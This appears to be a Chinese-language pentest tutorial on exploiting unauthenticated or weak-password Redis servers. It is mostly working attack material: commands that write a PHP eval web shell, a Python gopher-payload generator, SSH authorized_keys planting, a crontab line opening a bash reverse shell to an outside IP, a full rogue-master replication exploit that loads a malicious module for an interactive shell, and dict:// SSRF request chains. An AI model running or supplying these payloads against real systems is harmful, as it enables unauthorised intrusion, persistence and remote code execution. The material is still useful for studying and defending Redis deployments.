前言
参考:
https://cloud.tencent.com/developer/article/1904134
https://cloud.tencent.com/developer/article/1039000
利用条件
能未授权或者能通过弱口令认证等方式访问到 Redis 服务器
写shell
条件:
- root权限启动redis
- 需要知道绝对路径
- 具有文件读写增删改查权限
构造redis命令:
redis-cli -h 127.0.0.1:6379 # 连接Redis
config set dir /var/www/html # 设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("cmd"))?>\n\n\n" # 写入一句话木马到g1ts键
save
转化为redis RESP协议的格式的脚本,一般配合gopher协议使用:
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
未授权访问写ssh公钥
条件:
- Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务
先本地产生公私钥文件:
ssh-keygen –t rsa
(echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt
cat foo.txt
把得到的私钥填进payload:(写入的目录不限于 /root/.ssh 下的 authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤)
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后把前面的python脚本改一下:
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"
即可远程利用自己的私钥登录服务器
利用contrab计划任务反弹shell
条件:
只能在 Centos 上使用,Ubuntu上用不了,原因:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行 - 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在
/var/spool/cron/<username>
Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)
/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的
payload:
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
同样修改python脚本:
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
主从复制RCE
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。
前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis
建立主从复制,有3种方式:(建立主从关系只需要在从节点操作就行了,主节点不用任何操作)
- 配置文件写入:
slaveof <master_ip> <master_port>
- redis-server启动命令后加入:
--slaveof <master_ip> <master_port>
- 连接到客户端之后执行:
slaveof <master_ip> <master_port>
本地测试:
我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
redis-server
redis-server D:\Redis\Redis-x64-5.0.14.1\redis6380.conf
把 master_ip 设置为127.0.0.1
,master_port 为6380
redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
redis-cli -p 6379
127.0.0.1:6379> get test
"test"
可以看到数据达到了同步效果,如果我们想解除主从关系可以执行SLAVEOF NO ONE
Redis module
Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能
Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中
恶意so文件:https://github.com/n0b0dyCN/redis-rogue-server
python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so
有两种模式,一种是交互式shell,一种是反弹shell
攻击流程
配置一个我们需要以master身份给slave传输so文件的服务
PING 测试连接是否可用 +PONG 告诉slave连接可用 REPLCONF 发送REPLCONF信息,主要是当前实例监听端口 +OK 告诉slave成功接受 REPLCONF 发送REPLCONF capa +OK 告诉slave成功接受 PSYNC <rundi> <offest> 发送PSYNC
将要攻击的redis服务器设置成我们的slave
SLAVEOF ip port
设置RDB文件(注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用
config set dir path
)config set dbfilename exp.so
告诉slave使用全量复制并从我们配置的Rouge Server接收module(其中
<runid>
无要求,不过长度一般为40,<offest>
一般设置为1)+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
某exp
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)
SSRF
- root启用redis
- 目标机存在dict协议
- 知道网站绝对路径
假设ssrf的点在ssrf.php
ssrf.php?var=dict://192.168.200.38:6379/flushall
主从复制写入
ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379
设置保存目录
ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html
设置保存文件名称
ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php
本地写文件:
redis-cli
set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n"
远程保存:
ssrf.php?url=dict://192.168.200.38:6379/save
切断主从复制:
ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one